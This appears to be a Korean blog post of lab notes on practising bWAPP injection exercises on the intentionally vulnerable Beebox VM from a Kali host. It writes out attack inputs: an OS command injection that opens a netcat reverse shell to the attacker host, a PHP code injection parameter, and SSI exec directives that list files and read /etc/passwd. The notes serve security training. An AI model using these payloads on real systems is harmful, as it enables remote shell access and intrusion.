linux - ubuntu - beebox 디스크 지정 후 설치
Beebox
보안 취약점 실습을 위해 의도적으로 취약하게 만들어진 가상 운영체제
SQL 인젝션, XSS, 파일 업로드 등 다양한 웹 취약점들이 미리 포함된 bWAPP이라는 애플리케이션이 설치되어 있어, 공격과 방어 방법을 직접 연습할 수 있다.


bWAPP v2.2 bug Hack Practice
Beebox : 192.168.16.30
Kali : 192.168.16.97 에서 진행
A1 - Injection
1. HTML Injection - Reflected (GET)

2. HTML Injection - Reflected (POST)

3. HTML Injection - Reflected (Current URL)

4. HTML Injection - Stored (Blog)

5. IFrame Injection

6. LDAP Injection(Search)

7. Mail Header Injection(SMTP)

8. OS Command Injection


9. OS Command Injection - Blind


3333번 포트 리스닝
192.168.16.97;nc -vn 192.168.16.97 3333 -e /bin/bash

10. PHP Code Injection

# 파라미터 추가
?message=test;phpinfo();

11. Server-Side Includes (SSI) Injection


SSI 지시자의 정의
Server Side Includes의 약자로, 서버 측에서 HTML 파일을 사용자에게 보내기 전에 동적으로 내용을 추가하거나 변경할 수 있게 해주는 웹 기술입니다.
주요 SSI 지시자 종류
- #include: 다른 파일의 내용을 현재 페이지에 포함시키는 지시자입니다. 웹사이트의 모든 페이지에 동일한 헤더나 푸터를 반복해서 넣을 때 가장 많이 사용됩니다.
- #echo: 서버 환경 변수나 설정된 변수의 값을 화면에 출력하는 지시자입니다. 현재 날짜나 접속자의 IP 주소 같은 정보를 보여줄 때 유용합니다.
- #set: 새로운 변수를 정의하거나 기존 변수에 값을 할당합니다.
- #if...#elif...#else...#endif: 조건에 따라 다른 내용을 보여줄 때 사용되는 조건문입니다. 특정 조건이 참일 경우에만 코드를 실행합니다.
- #exec: 서버에서 외부 명령어 또는 스크립트를 실행하고 그 결과를 페이지에 포함합니다. 보안상의 이유로 대부분의 서버에서는 이 기능이 제한되거나 비활성화되어 있습니다.
<!--#exec cmd="ls"-->


<!--#exec cmd="cat /etc/passwd"-->


'Beebox' 카테고리의 다른 글
| [10월 2일] Beebox: A6 A7 (0) | 2025.10.02 |
|---|---|
| [10월 1일] Beebox: A4 A5 (0) | 2025.10.01 |
| [9월 30일] Beebox: A3 (0) | 2025.09.30 |
| [9월 26일] Beebox: A2 (0) | 2025.09.26 |
| [9월 25일] Beebox: A1 (SQL Injection ~) (0) | 2025.09.25 |